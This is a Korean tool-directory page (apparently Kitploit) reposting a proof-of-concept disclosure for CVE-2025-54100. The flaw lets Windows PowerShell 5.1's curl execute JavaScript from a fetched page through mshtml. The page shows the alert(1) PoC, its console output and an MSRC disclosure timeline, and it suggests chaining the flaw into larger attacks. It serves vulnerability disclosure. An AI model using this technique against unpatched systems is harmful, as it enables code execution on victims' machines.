Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-54100 — # CVE-2025-54100 개념 증명: PowerShell의 Invoke-WebRequest에서 mshtml.HTMLDocumentClass를 통한 XSS, 악성 JavaScript를 curl할 때 원격 코드 실행을 가능하게 함 | Kitploit
도구/GitHubGitHub/osman1337-security/cve-2025-54100
Vulnerability AnalysisExploitationWeb SecurityCommand and ControlRemote Access Tool
GitHubosman1337-security/cve-2025-54100

CVE-2025-54100

# CVE-2025-54100 개념 증명: PowerShell의 Invoke-WebRequest에서 mshtml.HTMLDocumentClass를 통한 XSS, 악성 JavaScript를 curl할 때 원격 코드 실행을 가능하게 함

저장소 보기

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
235498개월 전Kitploit 검토 완료
공유

CVE-2025-54100

Powershell의 curl은 내부적으로 Invoke-WebRequest를 사용합니다.

root@kitploit:~
PS C:\Users\melih> curl

cmdlet Invoke-WebRequest at command pipeline position 1
Supply values for the following parameters:
Uri:

https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/invoke-webrequest?view=powershell-7.5

UseBasicParsing 매개변수의 문서를 살펴보면,

이 매개변수는 더 이상 사용되지 않습니다. PowerShell 6.0.0부터 모든 웹 요청은 기본 구문 분석만 사용합니다. 이 매개변수는 이전 버전과의 호환성을 위해서만 포함되며, 이를 사용해도 cmdlet의 작동에는 아무런 영향이 없습니다.

문제는 Powershell의 Invoke-WebRequest cmdlet의 UseBasicParsing에 있습니다. UseBasicParsing은 기본 구문 분석을 사용하므로 어떤 JavaScript 코드도 평가하지 않습니다. 단지 텍스트를 읽어서 구문 분석할 뿐입니다.

이 매개변수가 제공되지 않으면 Invoke-WebRequest는 내부적으로 Internet Explorer를 실행하고 를 사용하여 HTML 코드를 실제로 평가하면서 구문 분석을 시도합니다. JavaScript 코드를 호스팅하는 웹사이트에 요청을 수행하면 클라이언트 브라우저에서 코드가 실행됩니다. 우리의 경우에는 Windows 터미널입니다.

mshtml.HTMLDocumentClass
curl

mshtml.HTMLDocumentClass 문서는 아래에서 확인할 수 있습니다.

https://learn.microsoft.com/en-us/dotnet/api/system.windows.forms.htmldocument

위의 첫 번째 문서에서 수명 주기를 살펴보면 다음과 같은 것을 알 수 있습니다,

Windows PowerShell 5.1 2016년 8월 - Windows 10 기념 업데이트 및 Windows Server 2016에서 출시, WMF 5.1 PowerShell 6.0 2018년 1월 20일 - 2019년 2월 13일 .NET Core 2.0 기반으로 구축 (https://github.com/dotnet/core/blob/main/release-notes/2.0/2.0-supported-os.md)

조사 결과, 최신 버전의 Windows 11, Server 22 및 25에는 XSS 공격에 취약한 이전 버전의 PowerShell(5.1 및 기본값)이 포함되어 있음을 확인했습니다.

새로운 Windows Server 22 설치, alt text

PoC

공격은 매우 간단합니다;

  • 스크립트 페이로드가 있는 웹사이트를 호스팅합니다.
  • 해당 사이트에 curl을 실행하면 실행이 표시됩니다.

alt text

root@kitploit:~
PS C:\Users\melih> curl 172.27.223.167:8000/a.js


StatusCode        : 200
StatusDescription : OK
Content           : <script>alert(1)</script>

RawContent        : HTTP/1.0 200 OK
                    Content-Length: 26
                    Content-Type: text/javascript
                    Date: Tue, 09 Dec 2025 15:50:40 GMT
                    Last-Modified: Tue, 09 Dec 2025 15:47:18 GMT
                    Server: SimpleHTTP/0.6 Python/3.12.3

                    <script>a...
Forms             : {}
Headers           : {[Content-Length, 26], [Content-Type, text/javascript], [Date, Tue, 09 Dec
                    2025 15:50:40 GMT], [Last-Modified, Tue, 09 Dec 2025 15:47:18 GMT]...}
Images            : {}
InputFields       : {}
Links             : {}
ParsedHtml        : mshtml.HTMLDocumentClass
RawContentLength  : 26


open("about:blank") 같은 것을 실행하는 등 창의적인 방법을 사용할 수 있습니다.

alt text

또한 이 취약점은 안정적인 실행을 위해 브라우저 익스플로잇과 같은 더 큰 공격 체인에 사용되거나 브라우저 렌더링을 강제하는 데 사용될 수 있다는 점을 고려해야 합니다.

MSRC 업데이트 타임라인

  • 2025년 10월 15일 – 취약점이 MSRC를 통해 Microsoft 보안 팀에 제출되었습니다.
  • 2025년 10월 16일 – 팀에서 보고서 검토를 시작했다고 알려왔습니다.
  • 2025년 11월 17일 – 팀에서 취약점을 확인하고 수정하겠다고 알려왔습니다. MSRC 팀의 전체 메시지: “보고하신 동작을 확인했습니다. 조사를 계속 진행하여 이 문제를 해결할 방법을 결정하겠습니다. 조사에 도움이 될 추가 정보가 있거나 질문이 있으면 알려주시기 바랍니다.”
  • 2025년 11월 25일 - 보고서는 심각도: 중요, 보안 영향: 원격 코드 실행으로 분류되어 $5,000 현상금이 수여되었습니다.

alt text

도구 다운로드